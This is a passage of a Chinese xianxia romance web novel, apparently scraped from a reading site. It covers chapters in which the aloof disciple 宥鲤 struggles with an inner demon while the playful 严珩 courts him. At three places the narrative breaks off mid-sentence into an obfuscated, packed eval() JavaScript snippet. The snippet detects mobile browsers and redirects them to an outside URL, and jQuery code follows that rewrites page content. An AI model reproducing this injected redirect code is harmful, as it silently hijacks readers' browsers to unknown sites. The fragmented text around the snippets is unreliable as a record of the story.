他的指尖带着暖意,隔着雪衣,像火星落进冰湖。宥鲤的睫毛微颤,却在下一瞬恢复了冷淡:“不必。” “行,那我下次直接替你挡一阵风。”严珩耸肩,像是毫不在意,“反正你也不会说谢谢。” 这时,一阵急促的脚步声从山道传来。 “严励程!”宥风的声音带着怒气,他的马尾在雪地里甩成一条黑色的弧,“你又来烦我哥哥?” 严珩挑眉,笑得更欠揍:“小舅子,这就是你不对了,我来找你哥,你激动什么?” “我哥不喜欢你。”宥风提剑横在两人之间,剑尖直指严珩,“再靠近一步,我就——” “就什么?”严珩往前一步,用两指轻轻夹住剑尖,“你剑还没出鞘,我就已经抱到你哥了。” 宥风脸色涨红,正要发作,宥鲤淡淡开口:“宥风,退下。” “可是——” “退下。” 宥风咬了咬牙,不甘地收剑,却仍瞪着严珩,像一头随时会扑上去的狼崽。 严珩笑得惬意,对宥鲤眨了眨眼:“小千浮,我就说吧,你还是护着我的。” 宥鲤转身离去,只留下一句:“你想多了。” 严珩看着他的背影,眼底的笑意渐深。 暮色压在万归宗的山脊上,雪像被谁从云端轻轻抖落,无声地覆住石阶、廊檐、松枝。 宥鲤踩着薄雪,一步步往山门而去。 朽清门的牌匾在风雪中泛着冷光,“朽清”二字笔锋如刀,像要把夜色划开一道口子。 他的脚步很轻,轻得几乎听不见,只有偶尔雪粒从发丝滑落,敲在剑鞘上,发出细微的脆响。 山道尽头,廊下站着一个人影。 云清君负手而立,白衣如雪,发如墨,眉目清峻。见宥鲤归来,他眼中那抹淡色的光微微一敛,像雪夜里的一盏灯,亮得恰到好处。 “千浮。”云清君的声音很轻,却带着不容置疑的温度,“比武场之事,为师已听说。” 宥鲤拱手行礼,声音平静:“弟子技不如人,让师尊失望了。” 云清君看着他,目光落在他肩头的薄雪上,伸手替他拂去,动作极轻,像怕惊到什么易碎的东西。 “你没有让我失望。”他顿了顿,低声道,“你若真想赢,没有人能在你剑下站满十招。” 宥鲤垂眸,不语。 廊外的风更冷了,吹得廊檐上的风铃叮当作响。 云清君似乎看出了他的心思,却没有追问,只道:“回房休息吧。后山风大,你身子骨薄,别冻着。” “是。”宥鲤转身离去。 经过回廊时,他忽然停住脚步—— 廊角的阴影里,有一抹熟悉的身影。 严珩靠着柱子,双手抱胸,笑得吊儿郎当:“小千浮,你师尊真疼你啊。” 宥鲤眸色一冷:“你怎么进来的?” “翻墙啊。”严珩说得理所当然,“朝阳门的墙比这高两倍,我都能翻,别说你们朽清门了。” 他说着,从怀里掏出一个小瓷壶,塞到宥鲤手里,“热的,姜汤。你手这么冰,喝点。” 宥鲤没有接,壶身的温度透过指尖传来,像一缕火,硬生生钻进他的骨缝。 “拿走。”他低声道。 严珩却不退,反而往前一步,压低声音,眼底带着笑意:“小千浮,你是不是怕,喝了我的东西,就欠我人情?” 宥鲤的手指微紧,指节泛白。 严珩看在眼里,笑得更肆意:“那你就欠着吧。欠着,才好见面。” 他说完,转身从阴影里跃出,落到回廊外的雪地里,回头冲宥鲤挥了挥手,“小舅子要是问起,就说我来找你——切磋剑法。” 雪地里,留下一串深深浅浅的脚印,很快又被新雪覆盖。 宥鲤站在廊下,握着那壶姜汤,指腹被烫得微微发红。 他低头,看着那壶热气缓缓升起,像在雪夜里燃起的一团小小的火。 回到房中,宥鲤关上木门,隔绝了廊外的风雪。 屋内很静,静得能听见火盆里木炭的细微爆裂声。 他取下剑,挂在墙上,脱下外袍,露出里面的白衣。衣料贴着他的肩背,勾勒出瘦削却有力的线条。 他坐在案前,盯着那壶姜汤。 热气早已散尽,壶身的温度也渐渐凉了下去。 可不知为何,他却没有把它推开。 ——严珩。 那个名字在他脑海里停留了一瞬,便像被雪压住的火星,明明灭灭,却固执地不肯熄灭。 他不喜欢这种感觉。 不喜欢有人轻易闯进他的世界,不喜欢有人用几句调侃、一壶姜汤,就让他的防线出现裂缝。 更不喜欢——那种被看穿的错觉。 宥鲤闭上眼,指尖轻轻按在眉心。 十九年来,他习惯了把一切情绪都藏在心底。冷,是他的甲胄;静,是他的兵器。 可严珩……像风,像火,像一把不肯收鞘的剑,直来直往,毫不掩饰。 他忽然想起比武场上,那双明亮的眼睛。那里面没有怜悯,也没有轻视,只有纯粹的战意与——兴趣。 兴趣? 宥鲤唇角微微一动,像是笑,又像是自嘲。 他不需要任何人的兴趣。 就在这时,门被“砰”地一声推开。 宥风大步走进来,马尾甩动,眼睛里还带着未散的怒火。 “哥!”他气冲冲地说,“严励程又来找你了?” 宥鲤抬眸,神色平静:“你怎么知道?” “我在后山看到他了!”宥风咬着牙,“那人就是个无赖!仗着自己高,仗着自己会点功夫,就到处——” “宥风。”宥鲤打断他,声音很轻,却带着不容置疑的冷意,“我自己的事,自己会处理。” 宥风怔住,张了张嘴,最终只是攥紧了拳头。 过了一会儿,他低声道:“哥,你……你要小心他。” 宥鲤看着他,眼底闪过一丝极淡的暖意——那是他极少在外人面前流露的情绪。 “我知道。”他顿了顿,又道,“你也是。” 宥风点头,转身准备离开,走到门口时,他又停下脚步,回头看了一眼桌上的姜汤,眉头皱得更紧。 “哥,你……喝他的东西?” 宥鲤垂下眼,没有回答。 门关上的刹那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261151|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,屋内又恢复了寂静。 宥鲤伸手,将那壶姜汤推到案角,仿佛要把它从视线里彻底清除。 可不知为何,指尖却在半空停住了。 屋外的雪,越下越大。 夜已深,雪光映得屋内一片清寒。 宥鲤坐在榻边,手里捧着那壶已经凉透的姜汤,目光落在杯壁上,像在看一场与己无关的雪。 宥风站在门口,似乎还在气头上,但见宥鲤神色沉静,他的怒气也渐渐压了下去。 “哥……”他低声唤。 宥鲤抬眼,淡淡道:“你当初,为什么要跟来万归宗?” 宥风一怔,没想到他会突然问这个。 “因为……”他张了张嘴,似乎在找一个合适的理由,“因为你一个人来这里,我怕你被人欺负。” 宥鲤看着他,眼底没有波澜:“我们并不是真兄弟。” 宥风的指尖微微一紧,声音低得几乎要被风雪吞没:“我知道。” “那你为什么?”宥鲤追问,语气很轻,却像一柄细刃,一寸寸探进宥风的心口。 沉默片刻,宥风抬起头,眼里的倔强像火一样烧起来:“因为你是我哥。” 这句“哥”,说得笃定,像在风雪中立了一个誓言。 宥鲤的指尖在杯壁上停了停,没有再问。 屋内很静,只有火盆里偶尔发出的“噼啪”声。 过了一会儿,宥风忽然开口,像是在解释,又像是在说服自己:“不管你是谁,不管你来自哪里,我跟你走。你去哪,我就去哪。” 宥鲤垂下眼,将那壶姜汤放到案上,声音轻得像一片雪落:“回去休息吧。” 宥风点头,转身离开。 门关上的瞬间,宥鲤的目光落在那壶姜汤上,眼底的那层霜,似乎又厚了一分。 夜深到极处,窗外的雪声像一层薄纱,轻轻覆在屋檐上。 宥鲤坐在榻边,背脊挺直,双眼睁开,眼底是一片毫无睡意的清明。 十九年来,他第一次觉得夜这么长。 ——或者说,是心魔,让夜变得没有尽头。 那是父亲煞玄在他体内种下的东西。不是毒,不是蛊,而是一缕杀意,一段血的记忆,一片永远无法熄灭的火。 每当夜深人静,那缕杀意便会从骨缝里爬出来,沿着血脉,一寸寸攀上心口。 他闭上眼,耳边便响起低沉的笑声—— “千浮,”那声音带着嘲弄,带着威压,带着血脉相连的霸道,“你是我的儿子,是血煞魔教的少主。你天生该踏在尸骨上,而不是跪在朽清门的石阶上。” 宥鲤的手指在膝上攥紧,指节泛白。 “闭嘴。”他在心底冷冷回应。 “你以为沉默就能否认?”那声音像在笑,“你在比武场上故意输给严珩——你以为我不知道?你在等,等一个时机,把这一切都撕碎。” 雪光透进来,照在他的脸上,衬得他的神色越发冷。 他知道父亲说的是真的。 可他也知道,一旦那层冰被打碎,他将再也回不到现在的位置——无论那位置是牢笼,还是伪装。 “你会亲手杀了云清君吗?”那声音忽然变得温柔,像在引诱,“他不过是你仇人的傀儡,是你笼中的锁。” 宥鲤猛地睁开眼,眼底的光锋利得像剑。 “我不会。”他低声道,声音冷得像雪。 “你会的。”父亲的声音在他耳边轻笑,“终有一天,你会站在雪地里,手里握着剑,看着他倒在你面前。” 窗外的风忽然大了,雪粒拍在窗纸上,发出急促的声响。 宥鲤起身,走到窗前,推开窗。雪夜的冷气瞬间涌进来,冻得他呼吸一滞。 他伸出手,接住一片雪花。那雪花在他掌心化开,冰凉刺骨。 ——父亲的心魔,就像这片雪,看似无声无息,却能一点点渗透骨髓。 他关窗,转身回到榻边,却没有再坐下。 他知道,今夜又将无眠。 56. 苦冬·二 天色未明,万归宗的晨钟便在风雪中敲响。 钟声厚重,像从山脚滚到山顶,一声声压进人的胸口。 朽清门弟子们踏着薄雪,衣袂翻飞,列成整齐的队列。雪光映在他们的剑上,冷芒森然。 宥鲤站在队伍最前方,白衣如雪,青丝半绾,丝带在风中轻轻飘动。 他的神色很平静,仿佛昨夜的失眠与心魔从未存在过。 只是,那双眼,比平日更冷了几分。 云清君立在石阶之上,声音清润而威严:“今日早课,剑势以稳为先,心以静为要。” 弟子齐声应诺,雪地上剑影纵横,寒意逼人。 严珩站在朝阳门的队列里,目光却越过人群,落在宥鲤身上。 他看得出来,宥鲤状态不好——那双浅茶色的眼睛,像是被雪封住了底。 “小舅子。”严珩凑到宥风耳边,低声调侃,“你哥昨晚没睡好?” 宥风冷冷瞪他一眼:“严励程,你少说话。” 严珩耸肩,嘴角却勾起一抹笑。 早课进行到一半,云清君忽然开口:“千浮,出列。” 宥鲤上前一步,拱手行礼。 “今日,你与我对练。”云清君说。 众弟子一片哗然——与师尊对练,是朽清门最高的奖赏,也是最大的考验。 宥鲤没有异议,拔剑在手。剑未出鞘,寒意已在空气中扩散开来。 第一招,云清君的剑如霜落无声,直取宥鲤眉心。 宥鲤不闪不避,手腕一转,剑鞘轻挑,稳稳挡住。 雪地里,剑光交错,风声如刀。 严珩站在人群中,目光灼灼——他看得出来,宥鲤在刻意压制自己的力量。 可即使如此,那剑势中的锋利,依旧让人心惊。 三十招过后,云清君收剑,目光温和而深沉:“不错。” 宥鲤收剑行礼,退回队列。 就在这时,严珩忽然笑了笑,扬声道:“云清君,弟子斗胆,愿与宥师兄切磋一局。” 全场一静。 云清君看向他,眼底闪过一丝玩味:“朝阳门,严珩?” “正是。”严珩拱手,笑得吊儿郎当,“我想看看,朽清门的雪剑,到底有多冷。” 宥鲤抬眼,与他对视。 雪光之下,两人的目光像在半空交锋 云清君的眼神在严珩身上停了半息,语气不冷不热:“朝阳门弟子,入我朽清门早课,先学规矩。” 一句话,让全场的空气都凝住了。 严珩脸上的笑微微一滞,随即又吊儿郎当地拱手:“是弟子唐突了。” 站在朝阳门队列最前方的贺兼,慢悠悠走了出来。 他一身赤红道袍,腰挂折扇,鬓角有几缕白发,笑起来眼角的纹路像被春风吹开的水波。 “云清君,”贺兼摇着扇子,语气带着几分调侃,“你这规矩,比后山的雪还厚啊。” 云清君淡淡看他一眼:“贺兼,管好你的弟子。” “弟子嘛,”贺兼笑,“年轻气盛,见着好剑手,手就痒。你朽清门雪剑名动天下,他想切磋,也是仰慕。” 云清君不接话,目光落在宥鲤身上,像是在确认什么。 贺兼见状,摇扇的动作一顿,话锋一转:“不过话说回来,宥鲤这孩子,剑越练越冷,人也越练越冷。云清君,你可得小心,别哪天把他练成一块冰。” 朝阳门弟子中有人忍不住笑出声,又立刻憋住。 云清君的神色依旧平静:“冰,才不易碎。” 贺兼“啧”了一声,扇子一合,冲严珩使了个眼色:“听见没?想融化这块冰,得先过你云清师叔这一关。” 严珩笑了笑,目光从云清君身上移到宥鲤身上,眼底闪着亮光:“融化不敢当,先学会靠近吧。” 云清君似有所感,眉头微不可察地动了一下。 早课散后,朽清门山门外忽然多了一块新木牌。 木牌上墨色未干,字迹凌厉—— “禁止贺兼和狗进入” 路过的弟子们面面相觑,忍笑不敢出声。 半个时辰后,贺兼摇着扇子悠然走来,一眼看见牌子,当场“噗”地笑出声: “云清君,你这是把我和狗并列?” 云清君站在门内,神色淡然:“牌子上写得很清楚。” 贺兼挑眉,正欲开口,忽然看见一只毛茸茸的小白狗从门内慢悠悠走出来,摇着尾巴,对他“汪”了一声。 贺兼:“……” 云清君淡淡补了一句:“骗你的,狗能进。” 贺兼扇子差点没拿稳:“所以只有我不能进?!” “嗯。”云清君颔首,目光落在小白狗身上,眼底那抹冷意淡了几分,“千浮喜欢狗。” 贺兼怔了怔,随即笑得意味深长:“原来如此。” 他摇着扇子转身离开,走了几步又回头冲门内喊:“云清君,你这是护短护到门牌子上了!” 云清君不答,只抬手关上了山门。 门内,宥鲤蹲在台阶上,正用手心给小白狗喂着一块温热的肉干。狗舔了舔他的指尖,他眼底泛起极浅的笑意。 那笑意很轻,很淡,却比门外的雪光还要暖。 午时,万归宗的饭堂里热气腾腾,蒸汽混着饭菜香,从窗口一路飘到门口。 弟子们三三两两聚在一起,有的低声讨论早课的剑招,有的眉飞色舞地说山下的新鲜事。 宥鲤端着托盘,选了个靠窗的位置坐下。托盘上只有一碗清粥、一盘青菜和一小碟腌肉。 他吃得很慢,像是在品味,又像是在思考别的事。 小白狗趴在他脚边,尾巴轻轻拍着地面,偶尔抬头用湿漉漉的眼睛看他。宥鲤便夹起一点腌肉,小心地放在掌心喂它。 不远处,严珩端着托盘走来,笑容像阳光一样明亮:“宥师兄,介意我坐这里吗?” 宥鲤抬眼,神色淡淡:“随意。” 严珩坐下,将自己盘里的烤鸡腿推到宥鲤面前:“你吃得太少了,多吃点。” 宥鲤没动,目光落在鸡腿上,像是在权衡什么。 这时,宥风端着饭菜走过来,直接把鸡腿推回去:“他不吃油腻的。” 严珩“啧”了一声,却也不恼,反而笑着对宥风说:“小舅子,你这么紧张他,小心以后嫁不出去。” 宥风脸一红,瞪他:“严励程!” 周围的弟子忍不住笑出声。 宥鲤低下头,唇角极轻地动了一下——那是一个几乎不可察觉的笑。 就在这时,门口传来一阵骚动。 贺兼摇着扇子走进来,一眼就看见角落里的小白狗,笑得意味深长:“哟,这不是云清君的‘贵客’吗?” 弟子们齐刷刷看向宥鲤脚边的狗,又看看贺兼,气氛顿时变得微妙。 严珩挑眉,低声对宥鲤说:“看来,你的狗比你还出名。” 宥鲤淡淡道:“它比你安静。” 严珩笑了:“可我比它有趣。” 宥鲤没再说话,只抬手摸了摸小白狗的头。狗发出一声满足的呜咽,把脑袋埋进他的掌心。 饭堂里的喧闹与热气,仿佛都隔在了他们之外。 午后的风带着雪后的凉意,吹得街上的纸灯笼轻轻摇晃。 宥鲤抱着药包,从药铺出来,本想直接回宗门,却被隔壁书铺的招牌吸引—— “万籍斋——今日新到画本” 他本无意停留,可想起宥风前几日念叨想买一本新出的剑法图谱,便抬脚走了进去。 书铺里暖烘烘的,纸墨香气混着淡淡的檀香。掌柜正忙着招呼客人,货架上摆满了各类书籍——小说、画本、武学秘籍,甚至还有几册封面香艳的春宫图。 宥鲤皱了皱眉,正准备绕过那一排,却在角落看见一个熟悉的身影。 严珩。 他背对着门口,手里翻着一本画本,唇角带着若有若无的笑。 宥鲤本想装作没看见,转身去找剑法图谱。可眼角余光却瞥见那画本封面上的两个字——“千浮”。 他的脚步一顿。 走近几步,宥鲤看清了画本上的画面—— 画中白衣男子眉眼清冷,剑眉微蹙,正是他自己。而他对面,是一个眉眼张扬的红衣男子,姿态暧昧,手指轻触他的下颌。 宥鲤的指尖瞬间冷了下来。 他伸手,一把夺过画本:“你在看什么。” 严珩被他吓了一跳,随即笑了:“你来了。” “这是什么东西?”宥鲤冷声问,眼底已有怒意。 “春宫画本啊。”严珩说得理直气壮,“定制款,画师照着你我画的。” “胡闹!”宥鲤猛地合上画本,转身就走。 严珩急忙追上去:“哎,别生气啊,我只是觉得画得挺像——” 话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261152|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未落,宥鲤脚下被地毯边角绊了一下,身体猛地向前扑去。 严珩眼疾手快,一把将他抱住。 两人的距离瞬间近得能听见彼此的呼吸。 宥鲤的脸贴在严珩的胸口,能感觉到对方的心跳——沉稳而有力。 他猛地推开严珩,退到一旁,耳根却不可抑制地红了。 严珩看着他泛红的耳尖,眼底闪过一丝得逞的笑意:“宥师兄,你脸红了。” 宥鲤冷声:“闭嘴。” 他转身快步离开书铺,怀里还紧紧抱着那本画本。 严珩站在原地,望着他的背影,唇角的笑意更深。 掌柜在一旁看得目瞪口呆,小声嘀咕:“这年头,年轻人玩得真开……” 清朽门的山门前,雪已经停了,阳光从云缝里漏下来,照在那块写着“禁止贺兼和狗进入”的木牌上,显得格外刺眼。 宥鲤站在门前,低头看着怀里那本画本。封面上的两个字像是在嘲笑他。 他越想越气,指节因为用力而泛白。 ——这本恶俗的东西,怎么会在自己手里? 他本想直接扔进山门旁边的雪堆里,可不知为何,手却迟迟没有松开。 就在这时,一个熟悉的声音从身后传来,带着笑意:“怎么,舍不得扔?” 宥鲤猛地转身,就看见严珩慢悠悠走来,手里还提着一袋书铺买的零食。 “你来做什么?”宥鲤冷声问。 “给你送东西啊。”严珩扬了扬手里的袋子,“刚出炉的桂花酥,你不是喜欢吃甜的吗?” 宥鲤没接,目光落在他脸上,像要在他笑意里找出一点心虚。 可严珩偏偏笑得坦然:“画本好看吗?” 宥鲤的眉心一蹙,抬手就要把画本砸过去。 严珩眼疾手快,一把接住,顺手把桂花酥塞进他怀里:“别生气嘛,我只是觉得……画师把你画得很好看。” 宥鲤冷哼一声:“无聊。” “是啊,我无聊。”严珩凑近一步,声音压低,带着一丝戏谑,“可我一想到你会脸红,就忍不住想逗你。” 两人之间的距离近得过分,严珩的气息带着桂花酥的甜香,混着雪后的清冷,像一条看不见的丝线,轻轻绕在宥鲤的心口。 宥鲤的耳尖又红了。 他猛地后退一步,把桂花酥塞回严珩怀里:“拿走。” 说完,他转身推门而入。 严珩站在门外,看着那扇门在自己面前缓缓关上,唇角却忍不住上扬。 他忽然觉得,逗宥鲤,比画本有趣多了。 夜色笼罩,朝阳门的庭院里一片安静。 严珩关上门,把那本画本放在桌上,点了盏小灯。灯光昏黄,照在画中人的眉眼上,竟显得格外生动。 严珩定了两本,一本故意逗宥鲤,一本自己看。 他坐在椅子上,慢悠悠翻着画本,嘴角的笑意越来越明显。 就在他看得入神时,身后忽然传来“咳”的一声。 严珩猛地回头,就看见贺兼正倚在门口,摇着扇子,眼神意味深长。 “好啊,”贺兼笑得像只偷到鸡的狐狸,“我们朝阳门的弟子,居然藏这种东西。” 严珩赶紧合上画本,干笑道:“师尊,您怎么进来不敲门?” “这是我的地盘。”贺兼慢悠悠走进来,伸手把画本翻开,“啧,画得还挺像。” 严珩急忙去抢:“师尊!” 贺兼抬手一挡,笑得更坏:“你喜欢宥鲤,这事整个宗门都看得出来,还藏什么?” 严珩被说中心事,耳尖微微泛红,却还是嘴硬:“我只是觉得画得好。” 贺兼摇了摇扇子,收起玩笑的神色:“真想追人,光靠画本可不够。” “那要靠什么?”严珩下意识问。 贺兼凑近,压低声音,给他出了个主意:“你下次找机会,在众目睽睽之下救他一次,最好是英雄救美的那种——不,是英雄救英雄。” 严珩想了想,连连摇头:“他会打死我的。” 贺兼笑得意味深长:“受着。” 严珩:“……” 贺兼拍了拍他的肩,转身离开,走到门口又回头补了一句:“记住,先让他习惯你在身边,再让他离不开你。” 门关上后,严珩坐在原地,若有所思地看着那本画本。 他忽然笑了笑,低声道:“受着就受着吧。” 57. 苦冬·三 夜色深沉,清朽门的客房内只点着一盏小灯。 宥鲤坐在案前,手里捧着那本画本,神色冷若冰霜。可不知为何,他的指尖却在微微发烫。 ——真是荒唐。 他本想直接把画本塞进抽屉里,可不知哪根筋搭错了,竟翻到了最后一页。 那一页上,是他与严珩并肩而立的画面,背景是落日余晖下的山门。画师的笔触极细,连他眼中那抹极淡的笑意都捕捉得清清楚楚。 宥鲤的喉结轻轻动了一下,耳尖不受控制地红了。 就在这时,“砰”的一声,门被推开。 宥风端着一碗热汤走进来,本想和哥哥说两句话,可一抬头,就看见宥鲤坐在灯下,脸——红得像被火烧过一样。 宥风手里的汤差点没端稳:“哥!你怎么了?!” 宥鲤被吓了一跳,急忙合上画本:“……没事。” “没事?你脸都红成这样了!”宥风快步走过去,伸手就要去摸他的额头,“是不是有人欺负你了?还是——” 他的手刚碰到宥鲤的手腕,就看见桌上那本露出一角的画本。 宥风的动作顿住了。 他慢慢伸手,把画本抽出来,翻开。 下一秒—— “啊——!!!!!” 一声尖得能刺破屋顶的尖叫,从清朽门的客房里炸开。 宥风整个人都炸毛了,像被踩了尾巴的猫:“这、这是什么鬼东西?!严励程那个混蛋——他居然敢——” 宥鲤脸色一沉,一把夺过画本:“闭嘴。” “我闭不了!”宥风气得直跳脚,“他竟然画你和他——这、这是对清誉的侮辱!我要去杀了他!” 说完,他转身就往外冲。 宥鲤眼疾手快,一把拉住他的袖子:“站住。” “哥!你别拦我!我今天非要——” “你打不过他。”宥鲤冷冷道。 宥风一噎,随即更加愤怒:“那我也要去骂他!让他知道我们清朽门不是好惹的!” 宥鲤盯着他,沉默片刻,忽然道:“你要是去了,他只会更得意。” 宥风愣住了。 宥鲤垂下眼,声音低得几乎听不见:“别管了。” 宥风看着哥哥泛红的耳尖,忽然觉得有些不对劲。他狐疑地眯起眼:“哥……你是不是……” “出去。”宥鲤冷声打断他。 宥风撇了撇嘴,却还是退了出去。走到门口,他忽然回头,咬牙切齿地补了一句:“我不会就这么算了的!” 门关上后,房间又恢复了安静。 宥鲤坐在案前,盯着那本画本看了很久,最终还是把它塞进了抽屉里,并且上了锁。 可不知为何,抽屉合上的一瞬间,他的心口却像被什么轻轻碰了一下,泛起了一丝说不清的涟漪。 第二天一早,朝阳门的练武场上,严珩正懒洋洋地打着拳。 忽然,一阵急促的脚步声从远处传来。 宥风怒气冲冲地冲进来,手里还攥着一把折扇——那是他临时从贺兼那里“借”来的武器。 “严——励——程!” 他的声音像炸雷一样在练武场上炸开。 正在练剑的弟子们纷纷停下,齐刷刷看向他。 严珩慢悠悠收拳,转过身,一脸无辜:“哟,这不是宥风师弟吗?找我有事?” “有事?我看你是找死!”宥风几步冲到他面前,一把揪住他的衣领,“你昨天那本画本是怎么回事?!” 严珩眨了眨眼,笑得像只狐狸:“画本?哦——你说那本啊,画得挺像吧?” “像你个头!”宥风气得扇柄都快被捏断了,“你居然敢画我哥那样的——那样的——” 他话没说完,脸先红了。 严珩挑眉:“那样的?是哪样的?” “就是……就是……”宥风憋了半天,憋出一句,“不要脸的!” 周围的弟子们忍不住“噗”地笑出声。 严珩慢条斯理地把宥风的手从自己衣领上拿下来,拍了拍褶皱:“我觉得挺好看的,再说——画师也没画什么过分的东西啊。” “还不过分?!”宥风炸毛,“你和我哥——那种姿势——” “哪种姿势?”严珩故意凑近,压低声音,“是你想歪了吧,宥风师弟?” 宥风被他一句话堵得满脸通红,抬手就要用折扇敲他:“你少狡辩!” 严珩一把抓住扇柄,笑得意味深长:“小舅子,护姐夫也要有个限度吧?” “谁、谁是你小舅子!”宥风的声音瞬间拔高,“你做梦!” “可我看你哥……好像没那么生气哦。”严珩慢悠悠补了一句,“不然,画本早就被他扔了。” 宥风一愣,心里忽然咯噔一下——对啊,哥哥昨天明明很生气,可还是把画本锁起来了…… 严珩看着他变幻的表情,笑得更坏:“要不,你帮我问问你哥,什么时候有空,我们再去让画师画一套新的?” “你——!”宥风彻底被气炸,甩开他的手,转身就走,“我一定会让我哥离你远远的!” 严珩在他身后懒洋洋地喊:“小舅子,记得替我问你哥——午饭想吃什么!” 宥风一个踉跄,差点没平地摔倒。 周围的弟子们已经笑得直不起腰。 贺兼不知何时出现在廊下,摇着扇子,笑得意味深长:“看来,我的‘损招’第一步,已经成功了。” 下午的天色变得很快。 原本灰白的云像被墨汁泼染,层层叠叠压下来,整个清朽门被笼罩在一片沉闷的灰暗中。 风从门缝钻进来,带着刺骨的凉意。紧接着,大片大片的雪花无声地飘落,很快铺满了屋檐、石阶和庭院。 宥鲤坐在案前,手指紧紧扣着桌沿。胸口的位置隐隐作痛——那是心魔在涌动。 他知道这股疼。 它来时像潮水,先是细微的刺痛,然后慢慢扩散,像有无数细针扎在心口,再一点点收紧,让人喘不过气。 宥鲤站起身,走到门边,“咔哒”一声,反锁了门。 他不想让任何人看到自己这个样子。 回到床边,他脱了外袍,钻进被子里,整个人蜷缩成一团。被子很厚,却挡不住那股从骨髓里渗出来的寒意。 疼意越来越重。 他闭上眼,额头上渗出细密的冷汗。耳边似乎有低语声——那是心魔的声音,模糊、破碎,却带着一种诡异的熟悉感。 “你不行……” “你救不了他们……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严珩深吸一口气,任由那股灼热在体内蔓延。渐渐地,他的体表泛起一层淡淡的红光,呼吸之间,似乎能听到火焰燃烧的“噼啪”声。 雪地上的积雪被他周身的热浪融化,形成一圈湿润的痕迹。 不知过了多久,严珩猛地睁开双眼,掌心向前一推。 “玄火——凝!” 一团烈焰在他掌心中骤然凝聚,化作一只火鸟,振翅冲向空中,发出一声清脆的鸣叫。 火鸟在空中盘旋一圈,化作漫天火星,消散在空气中。 贺兼微微一笑,收起扇子:“不错,进步很快。” 严珩站起身,活动了一下手腕,笑道:“那是因为师尊教得好。” 贺兼哼了一声:“少拍马屁。记住,玄火神法不是用来炫耀的,是用来保护你想保护的人。” 严珩的笑容微微一顿,目光不自觉地望向清朽门的方向。 雪后的天空湛蓝如洗,阳光洒在山门前,映出他眼底一闪而过的坚定。 58. 苦冬·四 玄火神法的余温还在经脉中流淌,严珩收功起身,拍了拍衣摆上的雪屑。 朝阳门外的山径寂静无声,只有积雪在脚下发出“咯吱咯吱”的轻响。 他本打算直接去清朽门找宥鲤——哪怕只是远远看一眼。可刚走到山腰,他忽然停下了脚步。 空气里,有一丝极淡的血腥味。 严珩眯起眼,凝神感知四周的灵力波动。很快,他捕捉到几缕微弱而阴冷的气息,正潜伏在前方的树林里。 ——有人埋伏。 他唇角勾起一抹冷笑,脚步却没有加快,反而慢悠悠地继续往前走。 树林深处,几道黑影屏息潜伏。其中一人低声道:“来了。” 严珩像是毫无察觉,甚至还吹起了口哨。可就在他经过树林边缘的瞬间,他的眼神陡然一冷,掌心悄然凝聚起一缕火灵力。 然而,还没等他出手,一个熟悉的声音忽然从头顶传来—— “徒儿,小心!” 贺兼的身影从树梢掠下,手中折扇“唰”地展开,扇骨上燃起熊熊火焰,将树林里的黑影逼退。 严珩挑眉:“师尊?” 贺兼眨了眨眼,笑得像只老狐狸:“路过。” 可严珩哪会信他?他瞥了一眼四周的埋伏,又看了看贺兼那副“我什么都不知道”的表情,心中忽然明白了什么。 ——这根本就是贺兼设的局。 “师尊,”严珩似笑非笑,“你该不会是……想让我在这里‘英雄救美’吧?” 贺兼干咳一声,收起扇子:“胡说什么,我只是正好路过。” 严珩没拆穿他,只是眼底闪过一丝狡黠。 ——既然有人送上门来,那他就顺水推舟。 “那就多谢师尊‘路过’了。”严珩说着,掌心的火焰骤然暴涨,化作一道烈焰长河,朝树林里席卷而去。 黑影们惨叫着被火焰逼出,狼狈逃窜。 贺兼看着严珩的背影,嘴角忍不住上扬。 ——计划,顺利进行中。 山径的伏兵刚被驱散,严珩便转身直奔清朽门。 雪后的山路湿滑,他却走得极快,心中那股不安像火一样烧得他焦躁。 终于,他来到宥鲤的房门前。 “宥鲤?”他敲了敲门,“你在吗?” 屋里一片死寂。 严珩眉头紧锁,抬手又敲了敲:“宥鲤,开门。” 依旧没有回应。 他将手放在门上,灵力轻轻探入——下一刻,他的脸色变了。 屋内的气息微弱得几乎察觉不到,像是随时会熄灭的烛火。 “宥鲤!”严珩沉声喊,手猛地推向门板。 “砰!” 门纹丝不动。 ——反锁了。 严珩的眼神一冷,掌心凝聚灵力,就要强行破门。 就在这时,屋里传来了宥鲤的声音——沙哑、破碎,却带着威胁。 “别进来。” 严珩的动作顿了顿:“宥鲤,你怎么了?” “我说……别进来!”宥鲤的声音拔高,带着一丝颤抖,“你敢破门——我就……我就杀了你!” 严珩心头一震。他从没听过宥鲤用这种语气说话——那不是冷漠,而是一种被逼到绝境的疯狂。 “宥鲤,你到底发生了什么事?”严珩压下怒火,尽量让自己的声音平稳,“你病了吗?我可以请医师——” “闭嘴!”宥鲤猛地打断他,声音像被撕裂,“不准提!不准问!你要是敢进来……我就——” 